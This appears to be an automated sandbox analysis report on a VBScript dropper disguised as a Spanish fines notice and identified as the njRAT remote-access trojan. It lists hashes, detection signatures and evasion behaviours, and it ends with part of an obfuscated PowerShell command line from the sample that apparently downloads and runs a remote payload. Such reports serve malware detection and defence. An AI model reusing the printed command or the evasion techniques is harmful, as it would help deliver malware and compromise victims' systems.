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Windows
Analysis Report
Oficio notificacion multas y sanciones.vbs
Overview
General Information
| Sample name: | Oficio notificacion multas y sanciones.vbs |
| Analysis ID: | 1517277 |
| MD5: | 5d0e059a9d852fbaa853170862b948f7 |
| SHA1: | 89c0faf4ba6531b3e9c5550f53280e02492c770d |
| SHA256: | 838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4 |
| Tags: | njratRATvbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Njrat
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Copy file to startup via Powershell
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected AntiVM3
Yara detected Njrat
Yara detected Powershell download and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Connects to many ports of the same IP (likely port scanning)
Contains functionality to log keystrokes (.Net Source)
Creates autostart registry keys with suspicious values (likely registry only malware)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Self deletion via cmd or bat file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Script Run in AppData
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses FTP
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 4956 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Ofici o notifica cion multa s y sancio nes.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 2748 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command " $qKKzc = ' OwB9???Ds? ??KQ???g?? ?Ck???I??? ???n???GU? ??dQBy???H Q???Jw???g ???Cw???I? ??BY???F?? ????VQB1?? ?Gg???J??? ???g???Cw? ??I??????n ???Gg???d? ??B0???H?? ????cw???6 ???C8???Lw Bm???Gk??? cgBl???GI? ??YQBz???G U???cwB0?? ?G8???cgBh ???Gc???ZQ ???u???Gc? ??bwBv???G c???b???Bl ???GE???c? ??Bp???HM? ??LgBj???G 8???bQ???v ???HY???M? ?????v???G I???LwBk?? ?GU???cwBj ???GE???cg Bn???GE??? cw???t???G Q???Yw???0 ???GQ???Ng ???u???GE? ??c???Bw?? ?HM???c??? Bv???HQ??? LgBj???G8? ??bQ???v?? ?G8???LwBl ???G4???dg Bp???G8??? cw???t???G 4???dQBl?? ?HY???bwBz ???C4???d? ??B4???HQ? ??PwBh???G w???d????? ?9???G0??? ZQBk???Gk? ??YQ???m?? ?HQ???bwBr ???GU???bg ???9???GM? ??ZQ???2?? ?Dk???M??? Bh???DY??? M??????t?? ?Dc???O??? Bl???GI??? LQ???0???D ??????MQBi ???C0???Yg Bm???GM??? Ng???t???D E???Z???Bj ???Dg???Mg ???1???GU? ??MQ???5?? ?DQ???Yg?? ?y???Cc??? I??????o?? ?C??????XQ Bd???Fs??? d???Bj???G U???agBi?? ?G8???Ww?? ?g???Cw??? I???Bs???G w???dQBu?? ?CQ???I??? ???o???GU? ??awBv???H Y???bgBJ?? ?C4???KQ?? ?g???Cc??? SQBW???EY? ??cgBw???C c???I????? ?o???GQ??? bwBo???HQ? ??ZQBN???H Q???ZQBH?? ?C4???KQ?? ?n???DE??? cwBz???GE? ??b???BD?? ?C4???MwB5 ???HI???YQ By???GI??? aQBM???HM? ??cwBh???G w???Qw???n ???Cg???ZQ Bw???Hk??? V???B0???G U???Rw???u ???Ck???I? ??Ba???GM? ??QgBj???G E???J????? ?g???Cg??? Z???Bh???G 8???T????? ?u???G4??? aQBh???G0? ??bwBE???H Q???bgBl?? ?HI???cgB1 ???EM???Og ???6???F0? ??bgBp???G E???bQBv?? ?EQ???c??? Bw???EE??? LgBt???GU? ??d???Bz?? ?Hk???UwBb ???Ds???KQ ???g???Ck? ??I??????n ???EE???Jw ???g???Cw? ??I??????n ???JMhOgCT ISc???I??? ???o???GU? ??YwBh???G w???c???Bl ???FI???Lg Bn???FM??? egBD???EI? ??b??????k ???C?????? K???Bn???G 4???aQBy?? ?HQ???Uw?? ?0???DY??? ZQBz???GE? ??QgBt???G 8???cgBG?? ?Do???OgBd ???HQ???cg Bl???HY??? bgBv???EM? ??LgBt???G U???d???Bz ???Hk???Uw Bb???C???? ??PQ???g?? ?Fo???YwBC ???GM???YQ ???k???C?? ????XQBd?? ?Fs???ZQB0 ???Hk???Qg Bb???Ds??? Jw???l???E k???a???Bx ???FI???W? ?????l???C c???I????? ?9???C???? ??W???BQ?? ?FU???dQBo ???CQ???Ow ???p???C?? ????ZwBT?? ?Ho???QwBC ???Gw???J? ?????g???C g???ZwBu?? ?Gk???cgB0 ???FM???Z? ??Bh???G8? ??b???Bu?? ?Hc???bwBE ???C4???eg B0???Hg??? a??????k?? ?C??????PQ ???g???Gc? ??UwB6???E M???QgBs?? ?CQ???Ow?? ?4???EY??? V???BV???D o???OgBd?? ?Gc???bgBp ???GQ???bw Bj???G4??? RQ???u???H Q???e???Bl ???FQ???Lg Bt???GU??? d???Bz???H k???UwBb?? ?C??????PQ ???g???Gc? ??bgBp???G Q???bwBj?? ?G4???RQ?? ?u???Ho??? d???B4???G g???J????? ?7???Ck??? d???Bu???G U???aQBs?? ?EM???YgBl ???Fc???Lg B0???GU??? Tg???g???H Q???YwBl?? ?Go???YgBP ???C0???dw Bl???E4??? K??????g?? ?D0???I??? B6???HQ??? e???Bo???C Q???Ow???p ???Cg???ZQ